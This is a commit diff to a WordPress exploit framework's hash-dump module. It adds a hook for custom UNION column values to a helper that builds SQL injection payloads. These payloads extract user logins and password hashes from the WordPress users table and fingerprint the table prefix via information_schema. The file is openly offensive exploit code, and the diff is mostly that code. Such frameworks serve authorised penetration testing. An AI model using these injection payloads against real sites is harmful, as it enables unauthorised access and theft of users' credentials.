Add ability to specify custom default values for the fields in the union

Author: rastating

lib/wpxf/wordpress/hash_dump.rb

@@ -29,9 +29,14 @@ def reveals_one_row_per_request
     false
   end
 
+  # @return [Array] an array of values to use in the generated union statement.
+  def hashdump_custom_union_values
+    []
+  end
+
   # @return [String] a unique SQL select statement that can be used to extract the hashes.
   def hashdump_sql_statement
-    cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
+    cols = hashdump_union_cols
     cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,user_login,0x3a,user_pass,0x3a,#{eof_token})"
 
     query = "select #{cols.join(',')} from #{table_prefix}users"
@@ -42,7 +47,7 @@ def hashdump_sql_statement
 
   # @return [String] a unique SEL select statement that can be used to fingerprint the database prefix.
   def hashdump_prefix_fingerprint_statement
-    cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
+    cols = hashdump_union_cols
     cols[hashdump_visible_field_index] = "concat(#{bof_token},0x3a,table_name,0x3a,#{eof_token})"
 
     query = "select #{cols.join(',')} from information_schema.tables where table_schema = database()"
@@ -109,6 +114,16 @@ def run
 
   private
 
+  def hashdump_union_cols
+    cols = Array.new(hashdump_number_of_cols) { |_i| '0' }
+
+    hashdump_custom_union_values.each_with_index do |value, index|
+      cols[index] = value unless value.nil?
+    end
+
+    cols
+  end
+
   def bof_token
     @bof_token
   end